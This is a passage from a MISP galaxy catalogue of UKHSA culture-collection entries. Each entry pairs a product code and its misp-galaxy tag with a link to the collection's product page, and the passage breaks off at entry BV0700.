The tag is: *misp-galaxy:ukhsa-culture-collections="DD2664"*

Table 31140. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2664

DD2737

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2737"*

Table 31141. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2737

DD2839

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2839"*

Table 31142. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2839

DD2855

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2855"*

Table 31143. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2855

DD2897

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2897"*

Table 31144. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2897

DD2905

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2905"*

Table 31145. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2905

DD2929

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2929"*

Table 31146. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2929

DD2947

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2947"*

Table 31147. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2947

DD2949

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2949"*

Table 31148. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2949

DD2968

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2968"*

Table 31149. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2968

DD2994

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2994"*

Table 31150. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2994

DD3004

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3004"*

Table 31151. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3004

DD3027

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3027"*

Table 31152. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3027

DD3032

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3032"*

Table 31153. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3032

DD3082

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3082"*

Table 31154. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3082

DD3098

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3098"*

Table 31155. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3098

DD3306

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3306"*

Table 31156. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3306

DD3712

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3712"*

Table 31157. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3712

DD3748

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3748"*

Table 31158. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3748

DK0006

The tag is: *misp-galaxy:ukhsa-culture-collections="DK0006"*

Table 31159. Table References

Links
https://www.culturecollections.org.uk/nop/product/dk0006

DK0099

The tag is: *misp-galaxy:ukhsa-culture-collections="DK0099"*

Table 31160. Table References

Links
https://www.culturecollections.org.uk/nop/product/dk0099

DZ0001

The tag is: *misp-galaxy:ukhsa-culture-collections="DZ0001"*

Table 31161. Table References

Links
https://www.culturecollections.org.uk/nop/product/dz0001

FC0007

The tag is: *misp-galaxy:ukhsa-culture-collections="FC0007"*

Table 31162. Table References

Links
https://www.culturecollections.org.uk/nop/product/fc0007

FU0045

The tag is: *misp-galaxy:ukhsa-culture-collections="FU0045"*

Table 31163. Table References

Links
https://www.culturecollections.org.uk/nop/product/fu0045

HH0021

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0021"*

Table 31164. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0021

HH0110

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0110"*

Table 31165. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0110

HH0121

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0121"*

Table 31166. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0121

HH0273

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0273"*

Table 31167. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0273

HH0279

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0279"*

Table 31168. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0279

HH0378

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0378"*

Table 31169. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0378

KW0001

The tag is: *misp-galaxy:ukhsa-culture-collections="KW0001"*

Table 31170. Table References

Links
https://www.culturecollections.org.uk/nop/product/kw0001

KW0008

The tag is: *misp-galaxy:ukhsa-culture-collections="KW0008"*

Table 31171. Table References

Links
https://www.culturecollections.org.uk/nop/product/kw0008

NB0001

The tag is: *misp-galaxy:ukhsa-culture-collections="NB0001"*

Table 31172. Table References

Links
https://www.culturecollections.org.uk/nop/product/nb0001

QQ0083

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0083"*

Table 31173. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0083

QQ0234

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0234"*

Table 31174. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0234

QQ0486

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0486"*

Table 31175. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0486

QQ0520

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0520"*

Table 31176. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0520

QQ0588

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0588"*

Table 31177. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0588

QQ0613

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0613"*

Table 31178. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0613

QQ0703

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0703"*

Table 31179. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0703

XP0009

The tag is: *misp-galaxy:ukhsa-culture-collections="XP0009"*

Table 31180. Table References

Links
https://www.culturecollections.org.uk/nop/product/xp0009

AX0049

The tag is: *misp-galaxy:ukhsa-culture-collections="AX0049"*

Table 31181. Table References

Links
https://www.culturecollections.org.uk/nop/product/ax0049

AC0006

The tag is: *misp-galaxy:ukhsa-culture-collections="AC0006"*

Table 31182. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac0006

AC0094

The tag is: *misp-galaxy:ukhsa-culture-collections="AC0094"*

Table 31183. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac0094

AC0302

The tag is: *misp-galaxy:ukhsa-culture-collections="AC0302"*

Table 31184. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac0302

AC0350

The tag is: *misp-galaxy:ukhsa-culture-collections="AC0350"*

Table 31185. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac0350

AC0360

The tag is: *misp-galaxy:ukhsa-culture-collections="AC0360"*

Table 31186. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac0360

BH0012

The tag is: *misp-galaxy:ukhsa-culture-collections="BH0012"*

Table 31187. Table References

Links
https://www.culturecollections.org.uk/nop/product/bh0012

BH0068

The tag is: *misp-galaxy:ukhsa-culture-collections="BH0068"*

Table 31188. Table References

Links
https://www.culturecollections.org.uk/nop/product/bh0068

BH0079

The tag is: *misp-galaxy:ukhsa-culture-collections="BH0079"*

Table 31189. Table References

Links
https://www.culturecollections.org.uk/nop/product/bh0079

GT0013

The tag is: *misp-galaxy:ukhsa-culture-collections="GT0013"*

Table 31190. Table References

Links
https://www.culturecollections.org.uk/nop/product/gt0013

BO0312

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0312"*

Table 31191. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0312

BO0329

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0329"*

Table 31192. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0329

BO0383

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0383"*

Table 31193. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0383

BO0576

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0576"*

Table 31194. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0576

BO0613

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0613"*

Table 31195. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0613

BO0706

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0706"*

Table 31196. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0706

BO0737

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0737"*

Table 31197. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0737

BO0790

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0790"*

Table 31198. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0790

BO1091

The tag is: *misp-galaxy:ukhsa-culture-collections="BO1091"*

Table 31199. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo1091

CI0001

The tag is: *misp-galaxy:ukhsa-culture-collections="CI0001"*

Table 31200. Table References

Links
https://www.culturecollections.org.uk/nop/product/ci0001

CI0004

The tag is: *misp-galaxy:ukhsa-culture-collections="CI0004"*

Table 31201. Table References

Links
https://www.culturecollections.org.uk/nop/product/ci0004

COG583

The tag is: *misp-galaxy:ukhsa-culture-collections="COG583"*

Table 31202. Table References

Links
https://www.culturecollections.org.uk/nop/product/cog583

CU0001

The tag is: *misp-galaxy:ukhsa-culture-collections="CU0001"*

Table 31203. Table References

Links
https://www.culturecollections.org.uk/nop/product/cu0001

CU0003

The tag is: *misp-galaxy:ukhsa-culture-collections="CU0003"*

Table 31204. Table References

Links
https://www.culturecollections.org.uk/nop/product/cu0003

DD0007

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0007"*

Table 31205. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0007

DD0022

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0022"*

Table 31206. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0022

DD0031

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0031"*

Table 31207. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0031

DD0054

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0054"*

Table 31208. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0054

DD0100

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0100"*

Table 31209. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0100

DD0127

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0127"*

Table 31210. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0127

DD0153

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0153"*

Table 31211. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0153

DD0197

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0197"*

Table 31212. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0197

DD0231

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0231"*

Table 31213. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0231

DD0251

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0251"*

Table 31214. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0251

DD0304

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0304"*

Table 31215. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0304

DD0328

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0328"*

Table 31216. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0328

DD0381

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0381"*

Table 31217. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0381

DD0395

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0395"*

Table 31218. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0395

DD0400

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0400"*

Table 31219. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0400

DD0554

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0554"*

Table 31220. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0554

DD0628

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0628"*

Table 31221. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0628

DD0738

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0738"*

Table 31222. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0738

DD0744

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0744"*

Table 31223. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0744

DD0752

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0752"*

Table 31224. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0752

DD0790

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0790"*

Table 31225. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0790

DD0800

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0800"*

Table 31226. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0800

DD0824

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0824"*

Table 31227. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0824

DD0937

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0937"*

Table 31228. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0937

DD0951

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0951"*

Table 31229. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0951

DD1002

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1002"*

Table 31230. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1002

DD1027

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1027"*

Table 31231. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1027

DD1115

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1115"*

Table 31232. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1115

DD1123

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1123"*

Table 31233. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1123

DD1151

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1151"*

Table 31234. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1151

DD1177

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1177"*

Table 31235. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1177

DD1222

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1222"*

Table 31236. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1222

DD1227

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1227"*

Table 31237. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1227

DD1284

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1284"*

Table 31238. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1284

DD1322

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1322"*

Table 31239. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1322

DD1328

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1328"*

Table 31240. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1328

DD1331

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1331"*

Table 31241. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1331

DD1393

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1393"*

Table 31242. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1393

DD1410

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1410"*

Table 31243. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1410

DD1412

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1412"*

Table 31244. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1412

DD1455

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1455"*

Table 31245. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1455

DD1456

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1456"*

Table 31246. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1456

DD1474

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1474"*

Table 31247. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1474

DD1488

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1488"*

Table 31248. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1488

DD1578

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1578"*

Table 31249. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1578

DD1591

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1591"*

Table 31250. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1591

DD1593

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1593"*

Table 31251. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1593

DD1735

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1735"*

Table 31252. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1735

DD1748

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1748"*

Table 31253. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1748

DD1888

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1888"*

Table 31254. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1888

DD1911

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1911"*

Table 31255. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1911

DD1930

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1930"*

Table 31256. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1930

DD1967

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1967"*

Table 31257. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1967

DD2135

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2135"*

Table 31258. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2135

DD2142

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2142"*

Table 31259. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2142

DD2207

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2207"*

Table 31260. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2207

DD2255

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2255"*

Table 31261. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2255

DD2267

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2267"*

Table 31262. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2267

DD2291

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2291"*

Table 31263. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2291

DD2305

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2305"*

Table 31264. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2305

DD2341

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2341"*

Table 31265. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2341

DD2405

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2405"*

Table 31266. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2405

DD2442

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2442"*

Table 31267. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2442

DD2461

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2461"*

Table 31268. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2461

DD2524

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2524"*

Table 31269. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2524

DD2530

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2530"*

Table 31270. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2530

DD2544

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2544"*

Table 31271. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2544

DD2570

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2570"*

Table 31272. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2570

DD2592

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2592"*

Table 31273. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2592

DD2651

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2651"*

Table 31274. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2651

DD2740

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2740"*

Table 31275. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2740

DD2770

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2770"*

Table 31276. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2770

DD2799

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2799"*

Table 31277. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2799

DD2812

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2812"*

Table 31278. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2812

DD2847

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2847"*

Table 31279. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2847

DD2851

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2851"*

Table 31280. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2851

DD2898

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2898"*

Table 31281. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2898

DD2932

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2932"*

Table 31282. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2932

DD2952

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2952"*

Table 31283. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2952

DD2955

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2955"*

Table 31284. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2955

DD2969

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2969"*

Table 31285. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2969

DD2989

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2989"*

Table 31286. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2989

DD2996

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2996"*

Table 31287. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2996

DD2999

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2999"*

Table 31288. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2999

DD3026

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3026"*

Table 31289. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3026

DD3062

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3062"*

Table 31290. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3062

DD3077

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3077"*

Table 31291. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3077

DD3099

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3099"*

Table 31292. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3099

DD3107

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3107"*

Table 31293. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3107

DD3302

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3302"*

Table 31294. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3302

DD3419

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3419"*

Table 31295. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3419

DD3551

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3551"*

Table 31296. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3551

DD3593

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3593"*

Table 31297. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3593

DD3637

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3637"*

Table 31298. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3637

DD3685

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3685"*

Table 31299. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3685

FY0031

The tag is: *misp-galaxy:ukhsa-culture-collections="FY0031"*

Table 31300. Table References

Links
https://www.culturecollections.org.uk/nop/product/fy0031

GT0001

The tag is: *misp-galaxy:ukhsa-culture-collections="GT0001"*

Table 31301. Table References

Links
https://www.culturecollections.org.uk/nop/product/gt0001

HH0023

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0023"*

Table 31302. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0023

HH0055

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0055"*

Table 31303. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0055

HH0122

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0122"*

Table 31304. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0122

HH0295

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0295"*

Table 31305. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0295

HY0003

The tag is: *misp-galaxy:ukhsa-culture-collections="HY0003"*

Table 31306. Table References

Links
https://www.culturecollections.org.uk/nop/product/hy0003

JJ0042

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0042"*

Table 31307. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0042

JJ0054

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0054"*

Table 31308. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0054

KW0011

The tag is: *misp-galaxy:ukhsa-culture-collections="KW0011"*

Table 31309. Table References

Links
https://www.culturecollections.org.uk/nop/product/kw0011

LQ0001

The tag is: *misp-galaxy:ukhsa-culture-collections="LQ0001"*

Table 31310. Table References

Links
https://www.culturecollections.org.uk/nop/product/lq0001

QQ0010

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0010"*

Table 31311. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0010

QQ0113

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0113"*

Table 31312. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0113

QQ0271

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0271"*

Table 31313. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0271

QQ0299

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0299"*

Table 31314. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0299

QQ0456

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0456"*

Table 31315. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0456

QQ0468

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0468"*

Table 31316. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0468

QQ0470

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0470"*

Table 31317. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0470

QQ0526

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0526"*

Table 31318. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0526

QQ0592

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0592"*

Table 31319. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0592

XP0011

The tag is: *misp-galaxy:ukhsa-culture-collections="XP0011"*

Table 31320. Table References

Links
https://www.culturecollections.org.uk/nop/product/xp0011

AI0249

The tag is: *misp-galaxy:ukhsa-culture-collections="AI0249"*

Table 31321. Table References

Links
https://www.culturecollections.org.uk/nop/product/ai0249

AC0004

The tag is: *misp-galaxy:ukhsa-culture-collections="AC0004"*

Table 31322. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac0004

BH0078

The tag is: *misp-galaxy:ukhsa-culture-collections="BH0078"*

Table 31323. Table References

Links
https://www.culturecollections.org.uk/nop/product/bh0078

BO0382

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0382"*

Table 31324. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0382

BO0389

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0389"*

Table 31325. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0389

BO0471

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0471"*

Table 31326. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0471

BO0662

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0662"*

Table 31327. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0662

BO0705

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0705"*

Table 31328. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0705

BO0813

The tag is: *misp-galaxy:ukhsa-culture-collections="BO0813"*

Table 31329. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo0813

BO1064

The tag is: *misp-galaxy:ukhsa-culture-collections="BO1064"*

Table 31330. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo1064

BO2017

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2017"*

Table 31331. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2017

BO2048

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2048"*

Table 31332. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2048

BO2108

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2108"*

Table 31333. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2108

BO2169

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2169"*

Table 31334. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2169

BO2170

The tag is: *misp-galaxy:ukhsa-culture-collections="BO2170"*

Table 31335. Table References

Links
https://www.culturecollections.org.uk/nop/product/bo2170

BV0700

The tag is: *misp-galaxy:ukhsa-culture-collections="BV0700"*

Table 31336. Table References

Links
